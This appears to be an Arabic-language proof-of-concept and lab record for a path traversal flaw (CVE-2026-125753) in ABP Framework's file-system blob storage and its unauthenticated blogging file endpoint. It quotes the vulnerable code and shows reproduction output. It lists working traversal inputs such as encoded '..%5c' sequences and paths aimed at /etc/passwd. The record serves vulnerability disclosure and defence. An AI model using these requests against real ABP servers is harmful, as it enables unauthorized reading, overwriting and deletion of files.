
إثبات مفهوم وسجل مختبري لـ CVE-2026-125753، وهو اجتياز مسار في تخزين blob الخاص بـ ABP Framework يتيح قراءة الملفات دون مصادقة عبر نقاط نهاية ملفات التدوين.
يمكن لاسم blob أن يخرج من حاويته في Volo.Abp.BlobStoring.FileSystem، وهو مزوّد نظام الملفات
الكامن خلف تجريد تخزين blob في ABP. يدمج DefaultBlobFilePathCalculator الاسم على
مسار الحاوية باستخدام Path.Combine ولا يتحقق أي شيء من أن النتيجة بقيت
بالداخل. وحدة واحدة مُصدَّرة تحوّل ذلك إلى قراءة ملف دون مصادقة عبر HTTP على
مضيفي Windows: GET /api/blogging/files/..%5C..%5C..%5C<name> يعيد ملفًا من خارج
الحاوية إلى مستدعٍ بلا cookie ولا token ولا header.
| CVE | CVE-2026-125753، مُخصَّص بواسطة VulnCheck، نُشر في 2026-11-10 |
| Advisory | GHSA-4x2h-f4f8-xjr6، 2026-10-08، بالإضافة إلى استشارة VulnCheck |
| Project | ABP Framework |
| Affected | Volo.Abp.BlobStoring.FileSystem 2.9.0 قبل 10.6.2 و10.7.0-rc.1 قبل 10.7.0 · Volo.Blogging.Application 0.14.0 قبل 10.6.2، نفس نطاق الإصدارات المسبقة |
| Fixed | 10.7.0، مع نقل التعديل إلى 10.6.2 |
| CWE | CWE-22، التقييد غير السليم لاسم مسار إلى دليل محظور |
| CVSS | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N 8.2 High، وCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N 5.9 Medium، كلاهما من VulnCheck |
| Tested on | الحزم المُصدَّرة 10.6.1 من nuget.org · فرع Linux على .NET SDK 10.0.401 · فرع Windows على Windows Server 2022 10.0.20348.0، PowerShell 7.6.9، SDK 10.0.403 |
| Credit | Nguyen Le Thanh Nam (yuwkaa)، المكتشف. أصلحه فريق ABP في PR #26232، commit a25442ec |
أصلح المزوّد الكود ونشر GHSA دون طلب معرّف، و
قيّم تلك الاستشارة بـ CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N، أي 0.0، على
صفحة يقول نص تأثيرها نفسه إن الملفات خارج الحاوية يمكن قراءتها وكتابتها
وحذفها. خصّص VulnCheck الـ CVE بعد ذلك وقيّمه بـ 8.2.
framework/src/Volo.Abp.BlobStoring.FileSystem/Volo/Abp/BlobStoring/FileSystem/DefaultBlobFilePathCalculator.cs:
public virtual string Calculate(BlobProviderArgs args)
{
var fileSystemConfiguration = args.Configuration.GetFileSystemConfiguration();
var blobPath = fileSystemConfiguration.BasePath;
if (CurrentTenant.Id == null)
{
blobPath = Path.Combine(blobPath, "host");
}
else
{
blobPath = Path.Combine(blobPath, "tenants", CurrentTenant.Id.Value.ToString("D"));
}
if (fileSystemConfiguration.AppendContainerNameToBasePath)
{
blobPath = Path.Combine(blobPath, args.ContainerName);
}
blobPath = Path.Combine(blobPath, args.BlobName);
return blobPath;
}
Path.Combine يهم مرتين. فهو لا يحل ..، وعندما تكون وسيطته الثانية
جذرية فإنه يتجاهل كل ما قبلها.
المُطبِّع (normalizer) الذي يعمل قبل هذا لا يضيف فحص احتواء (containment check) أيضًا.
يزيل FileSystemBlobNamingNormalizer الأحرف التي يمنعها Windows في اسم الملف، فقط
عندما يكون نظام التشغيل الحالي هو Windows، ويُبقي / و \ عن قصد. يقول تعليقه الخاص
"In order to support the directory included in the blob name, remove / and ". على Linux
يعيد الاسم دون تغيير. لا يفحص أي من الفرعين مقطع .. ولا ما إذا كان الاسم
جذريًا.
minimal-repro/ هو ملفان يثبّتان الحزمة الصادرة، لذا فإن النتيجة
لا تعتمد على مختبر. يشغّل run-both-legs.sh الاختبار
مقابل الحزمة المصابة والمُصلَّحة واحدة تلو الأخرى ويطبع checksum المحلول بجانب كل
مرحلة. التشغيل أدناه من 2026-11-11، SDK 10.0.401، مقابل
volo.abp.blobstoring.filesystem.10.6.1.nupkg
(sha256 fdc15f5c02903a84f32671d3b6d681da138e613825f9ebc177decce1937335e1)، والمخرجات الكاملة في
transcripts/minimal-repro.txt:
blob name ok.txt -> Calculate: /var/blobs/host/mycontainer/ok.txt FullPath: /var/blobs/host/mycontainer/ok.txt
blob name sub/dir/ok.txt -> Calculate: /var/blobs/host/mycontainer/sub/dir/ok.txt FullPath: /var/blobs/host/mycontainer/sub/dir/ok.txt
blob name ../../../etc/evil -> Calculate: /var/blobs/host/mycontainer/../../../etc/evil FullPath: /var/etc/evil
blob name /tmp/absolute-evil -> Calculate: /tmp/absolute-evil FullPath: /tmp/absolute-evil
الصفّان الأولان هما الضابط: اسم عادي وصيغة الدليل الفرعي الموثّقة
كلاهما يبقى داخل الحاوية. الثالث يخرج منها، والرابع يتجاهل BasePath
بالكامل. غيّر الإصدار الواحد إلى 10.7.0 وسيحتفظ البرنامج نفسه بالضابطين
ويُطلق استثناءً عند اجتياز المسار، على حزمة sha256
fccb5077758ed0ee45f1a05515dc47a956ffa0561b7350d7f9ca4dba1565c53b:
blob name ok.txt -> Calculate: /var/blobs/host/mycontainer/ok.txt FullPath: /var/blobs/host/mycontainer/ok.txt
blob name sub/dir/ok.txt -> Calculate: /var/blobs/host/mycontainer/sub/dir/ok.txt FullPath: /var/blobs/host/mycontainer/sub/dir/ok.txt
Unhandled exception. System.ArgumentException: The BlobName must not contain '.' or '..' segments. (Parameter 'BlobName')
من خلال IBlobContainer، تتحول تلك المسارات إلى ملفات تُكتب وتُقرأ وتُحذف على القرص. التشغيل الكامل موجود في transcripts/blob-traversal.txt: كتابة خارج الحاوية، وقراءة لملف زُرع يدويًا لم يمر قط عبر واجهة blob API، وحذف لملف خارج الحاوية، وكتابة فوقية عابرة للمستأجرين حيث طلب المستأجر B الـ blob الخاص به باسم عادي فحصل على محتوى كان المستأجر A قد كتبه. تتصرف تلك الخطوات بالطريقة نفسها على 8.0.0 و9.0.0 و10.7.0-rc.5، مع نص تشغيل واحد لكل منها في transcripts/.
يكشف Volo.Blogging عن BlogFilesController عند api/blogging/files/{name} وapi/blogging/files/www/{name}، ويمرر FileAppService.GetAsync قيمة المسار إلى BlobContainer.GetAllBytesAsync مع فحص للفراغ أو القيمة الفارغة فقط. لا توجد سمة تفويض على المتحكم، ولا على أي من الإجراءين، ولا على FileAppService، ولا على BloggingAppServiceBase.
ولأن [Route("{name}")] مقطع واحد، فإن السؤال هو ما الذي ينجو من التوجيه. سُئل تطبيق ASP.NET Core أدنى بنفس شكل المسار عمّا استقبله المعالج (transcripts/route-encoding.txt):
RAW PATH SENT (--path-as-is) CODE WHAT THE HANDLER GOT
/api/blogging/files/plain.png 200 HANDLER-RECEIVED:[plain.png]
/api/blogging/files/..%2f..%2fetc%2fpasswd 200 HANDLER-RECEIVED:[..%2F..%2Fetc%2Fpasswd]
/api/blogging/files/..%252f..%252fetc%252fpasswd 200 HANDLER-RECEIVED:[..%2f..%2fetc%2fpasswd]
/api/blogging/files/%2fetc%2fpasswd 200 HANDLER-RECEIVED:[%2Fetc%2Fpasswd]
/api/blogging/files/../../etc/passwd 404
/api/blogging/files/..%5c..%5cwindows 200 HANDLER-RECEIVED:[..\..\windows]
/api/blogging/files/www/..%2f..%2fetc%2fpasswd 200 WWW-HANDLER-RECEIVED:[..%2F..%2Fetc%2Fpasswd]